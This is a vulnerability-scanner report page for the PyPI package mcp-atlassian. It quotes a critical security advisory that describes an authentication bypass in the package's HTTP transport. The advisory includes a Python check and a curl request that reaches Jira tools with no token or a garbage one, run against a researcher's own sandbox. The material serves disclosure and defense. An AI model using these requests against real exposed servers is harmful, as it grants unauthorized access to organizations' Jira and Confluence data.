pypi package report

Is mcp-atlassian safe?

30 known vulnerabilities, worst severity CRITICAL.

// reach

28 direct dependencies

13 carry known advisories, worst CRITICAL

0 packages depend on it

an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    10.0
    critical

    CVSS v3.1 base score out of 10

    epss
    0.35%
    low

    chance of exploitation in 30 days, 28th percentile of all CVEs

    xyz score
    4.6
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-wrhw-j3f9-8vc6, the advisory selected below

    // 30 advisories

    GHSA-wrhw-j3f9-8vc6

    CRITICALGitHub ratingCVE-2026-77244

    Description

    mcp-atlassian deploys in two common patterns:

    Pattern A (single-user, server-side credentials): operator sets JIRA_USERNAME + JIRA_API_TOKEN (or CONFLUENCE_USERNAME + CONFLUENCE_API_TOKEN) in environment variables. Server uses these to call Jira/Confluence. This is the documented quickstart pattern.

    Pattern B (multi-user, OAuth or per-request PAT): operator sets up OAuth proxy or accepts per-user tokens via Authorization or service headers.

    The authentication mechanism in HTTP transport has two issues that combine to permit unauthenticated access to Pattern A deployments:

    • AtlassianOpaqueTokenVerifier.verify_token() at

    src/mcp_atlassian/utils/token_verifier.py accepts any non-empty string as a valid token:

    async def verify_token(self, token: str) -> AccessToken | None: if not token: return None scopes = self.required_scopes or [] return AccessToken( token=token, client_id="atlassian", scopes=scopes, expires_at=int(time.time()) + 86400 * 30, )

    The docstring documents this: "we accept non-empty tokens and attach the required scopes."

    • The default deployment does NOT enable the OAuth proxy auth provider

    (OAUTH_PROXY_ENABLE_ENV defaults to false; main.py:726). When _build_auth_provider() returns None, FastMCP HTTP transport accepts requests with no authentication challenge.

    • UserTokenMiddleware._parse_auth_header (main.py:601-664) extracts

    tokens from Authorization headers and stores them in scope state. If NO Authorization header is present (main.py:584-595), the middleware does not reject the request — it simply does not populate user_atlassian_token.

    • JiraFetcher / ConfluenceFetcher fall back to JiraConfig.from_env()

    when no user-supplied token is in scope state. from_env() reads JIRA_API_TOKEN and JIRA_USERNAME from environment and uses them as the API credentials.

    Composition: an attacker who reaches the HTTP transport (e.g., server exposed on a port reachable from attacker — direct bind, Docker port mapping, reverse proxy without auth, container in a network the attacker joined) can:

    • Send no Authorization header at all, OR
    • Send any garbage Bearer token

    Either request reaches tool handlers. The tool handlers, finding no user-supplied token, use the server's env-var credentials to call Jira / Confluence. The attacker has full operator-level access to the operator's Atlassian instance.

    This is the same vulnerability class as CVE-2026-27825 (Arctic Wolf, unauthenticated RCE+SSRF in Atlassian MCP). The previous CVE was for a different code path; this report concerns the auth verifier and middleware behavior present in the current main branch.

    **Steps to Reproduce**
    
    Source-level demonstration:
    
    1. Verify the verifier accepts arbitrary tokens:
    
           cd src/
           python -c "
           import asyncio
           from mcp_atlassian.utils.token_verifier import AtlassianOpaqueTokenVerifier
           v = AtlassianOpaqueTokenVerifier(required_scopes=['read:jira-work'])
           result = asyncio.run(v.verify_token('anything-at-all'))
           print('Accepted:', result is not None)
           print('Token stored:', result.token if result else None)
           print('Scopes granted:', result.scopes if result else None)
           "
    
       Expected:
           Accepted: True
           Token stored: anything-at-all
           Scopes granted: ['read:jira-work']
    
    End-to-end (researcher's own Atlassian sandbox):
    
    1. Start mcp-atlassian in HTTP mode against a researcher-owned Atlassian
       Cloud instance with JIRA_API_TOKEN configured:
    
           export JIRA_URL=https://researcher.atlassian.net
           export JIRA_USERNAME=researcher@example.com
           export JIRA_API_TOKEN=<researcher's-real-token>
           export MCP_TRANSPORT=streamable-http
           export PORT=3000
           # Do NOT set OAUTH_PROXY_ENABLE_ENV — leave it default (false)
           mcp-atlassian
    
    2. From another machine (or curl on localhost), with no auth:
    
           curl -X POST http://localhost:3000/mcp \
                -H "content-type: application/json" \
                -H "accept: application/json, text/event-stream" \
                -d '{
                  "jsonrpc":"2.0", "id":1, "method":"tools/call",
                  "params":{
                    "name":"jira_get_issue",
                    "arguments":{"issue_key":"PROJ-1"}
                  }
                }'
    
       Expected: returns the Jira issue payload — using the server's
       JIRA_API_TOKEN to authenticate to Atlassian. No client-side token
       provided.
    
    3. Optional: same call with a garbage Bearer for completeness:
    
           curl ... -H "Authorization: Bearer anything-at-all" ...
    
       Same result.
       
       
       **Impact**:
       
       Attacker profile: any party with network reach
    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Changed
    Confidentiality
    High
    Integrity
    High
    Availability
    None

    Checked 2026-11-07 at 23:49 UTC. The most recent advisory here was published 2026-09-22. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.